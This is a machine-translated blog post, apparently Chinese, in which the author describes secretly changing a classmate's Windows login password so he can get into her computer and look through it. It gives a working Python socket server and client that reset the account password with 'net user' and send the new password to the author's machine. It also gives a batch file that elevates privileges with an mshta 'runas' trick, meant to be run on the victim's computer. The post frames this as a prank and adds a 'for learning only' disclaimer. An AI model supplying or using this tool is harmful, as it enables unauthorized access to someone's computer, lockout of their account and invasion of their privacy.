I modified ban Hua's boot password in Python and found her secret after logging in again!

Five packs of spicy strips! 2021-09-15 12:35:33
modified ban hua boot password


 Insert picture description here
Ban Hua and I said her phone was broken. Let me see , It must be my duty !【 Excited for half an hour 】 Nothing else, I just want to show my technology ! I fixed it in five minutes , After the computer restarts, it displays enter password , At that time, I didn't think much about it and went straight away . After going back, can I use technology to remotely analyze this boot password , Do as you say .

 Insert picture description here

Tool preparation

 Insert picture description here

development environment :win10、python3.7
development tool :pycharm

Analysis of project ideas

At the thought of remote , Just think of creating a connection , At the thought of creating links , Think of socket Socket ( At the thought of socket , Just think I don't have a girlfriend )
 Insert picture description here

The project code is 3 Share ( Remember that you take the server code , Customer service code and go.cmd It's for someone else )

First, create a service on the server side in the normal process
Server process :

  • Create socket
    - binding ip And port
    - Set listening
    - Waiting for link
    - Accept data print data
    - Close links
import socket # Import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # establish socket
server.bind(('', 44444)) # binding IP/ port
server.listen(5) # monitor
print('*********** Waiting for the connection *********')
conn, addr = server.accept() # Connect
print(' Address of the client :', addr)
client_msg = conn.recv(1024)
print(' The password modified by the client is : %s' % client_msg)

windows The command to change the computer password :net User user name Changed password ( You can try it yourself )
 Insert picture description here

Client process :

  • Create socket
    - Connect to the server IP And port
    - Get the current computer account name
    - Generate random computer passwords
    - Perform the modification at the terminal Windows Password instructions
    - Send the modified password
    - Close socket
import socket # Import the modules used
import getpass
import subprocess
import random
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # establish socket example
client.connect((ip, port )) # Connect server End IP Address / Port according to your actual situation
user = getpass.getuser() # Get the computer user name
psd = ''
for j in range(1, 9): # Generate 1-9 The random number
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd]) # Execute locally ( Be similar to cmd command )
client.send(psd.encode('utf-8')) # Send password to server End
back_msg = client.recv(1024)
client.close() # close socket

At this point, you can basically try it yourself , But be careful , The current code can only be modified. The permission is admin The account of .
 Insert picture description here

    Still turning !!!!!!!!
    Here's how to modify non admin The content of ??????

 Insert picture description here

Not admin Users need to improve their execution permissions
Execute directly with super administrator privileges cmd file

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"
start python client.py


Finally, I changed my password and successfully logged in , I found her password !

 Insert picture description here
This iron is simple C I don't know how to clean up when the disk is full , At first glance, I just don't know much about computers ! Ban Hua is so beautiful that she doesn't know much about computers , What an amazing discovery !

 Insert picture description here

PS: Finally, I didn't move anything and changed back ! Only for learning and technical exchange ! Don't break the law and discipline ! I will not bear all the consequences !

本文为[Five packs of spicy strips!]所创,转载请带上原文链接,感谢

  1. Realizing the function of sending e-mail automatically with Python
  2. Smtpauthenticationerror in Python: solution
  3. 8 steps to teach you how to solve Sudoku in Python! (including source code)
  4. Python change la vie | identifier facilement des centaines de numéros de livraison
  5. Python change life | utilisation de modèles reconnus par ocr
  6. Bibliothèques Python utiles et intéressantes - - psutil
  7. 3. Traitement des données pandas
  8. 【Python编程基础】控制流之链式比较运算符
  9. MFC uses Python scripting language
  10. 【Python編程基礎】控制流之鏈式比較運算符
  11. 【 base de programmation python】 opérateur de comparaison de chaîne pour le flux de contrôle
  12. Python game development, pyGame module, python implementation of Xiaole games
  13. Mise en œuvre du Code de vérification unique (OTP) avec le cadre de repos Django
  14. Python - eval ()
  15. Python - Programmation orientée objet - _Rapport()
  16. Différence entre python - rep (), Str ()
  17. Python - Programmation orientée objet - _Appel()
  18. Python calling matlab script
  19. Python - Programmation orientée objet - _Nouveau() et mode Singleton
  20. Python - Programmation orientée objet - méthode magique (méthode de double soulignement)
  21. Python - Programmation orientée objet - pratique (6)
  22. Python - Programmation orientée objet - réflexion hasattr, GetAttr, GetAttr, delattr
  23. Python - Programmation orientée objet - _Dict
  24. Python - pydantic (2) Modèle imbriqué
  25. Non-ASCII character ‘\xe5‘ in file kf1.py on line 4, but no encoding declared; see http://python.or
  26. python笔记(一)
  27. Non - ASCII character 'xe5' in file kf1.py on Line 4, but no Encoding declared;Voirhttp://python.or
  28. Notes Python (1)
  29. Talk about how JMeter executes Python scripts concurrently
  30. In Beijing, you can't see the moon in the Mid Autumn Festival. Draw a blood red moon in Python
  31. Un des pandas crée un objet
  32. Machine learning | unitary regression model Python practical case
  33. Draw a "Lollipop chart" with Excel and python
  34. Python uses scikit learn to calculate TF-IDF
  35. Getting started with Python Basics_ 3 conditional statements and iterative loops
  36. Python dynamic properties and features
  37. 云计算开发:Python内置函数-min()函数详解
  38. [Python skill] how to speed up loop operation and numpy array operation
  39. 雲計算開發:Python內置函數-min()函數詳解
  40. Développement de l'informatique en nuage: explication détaillée de la fonction intégrée python - min ()
  41. 从0起步学Python(附程序实例讲解)第1讲
  42. 从0起步学Python(附程序实例讲解)第1讲
  43. Apprendre Python à partir de 0 (avec des exemples de programme) leçon 1
  44. Apprendre Python à partir de 0 (avec des exemples de programme) leçon 1
  45. With Python, I'll take you to enjoy it for a month when the Mid Autumn Festival is coming
  46. You can't write interface software in Python! Which software on sale has no UI?
  47. Python国内外原题解析及源码1~15
  48. Python实现长篇英文自动纠错~
  49. Python implémente la correction automatique des erreurs en anglais long
  50. Analyse des problèmes originaux et code source de Python au pays et à l'étranger 1 ~ 15
  51. 一张思维导图学Python之表白
  52. Python教学中课程思政建设的研究探索2
  53. Recherche sur la construction idéologique et politique du Programme d'études dans l'enseignement Python 2
  54. Une présentation de la cartographie mentale Python
  55. Python高级用法总结(8)-函数式编程
  56. Python + Mirai development QQ robot starting tutorial (2021.9.9 test is valid)
  57. Python Advanced use Summary (8) - functional Programming
  58. How to get started with Python and share learning methods for free. All you want to know is here
  59. Python + Mirai development QQ robot starting tutorial (2021.9.9 test is valid)
  60. Python基础第1讲(含代码、Python最新安装包、父与子的编程之旅:与小卡特一起学Python中文版)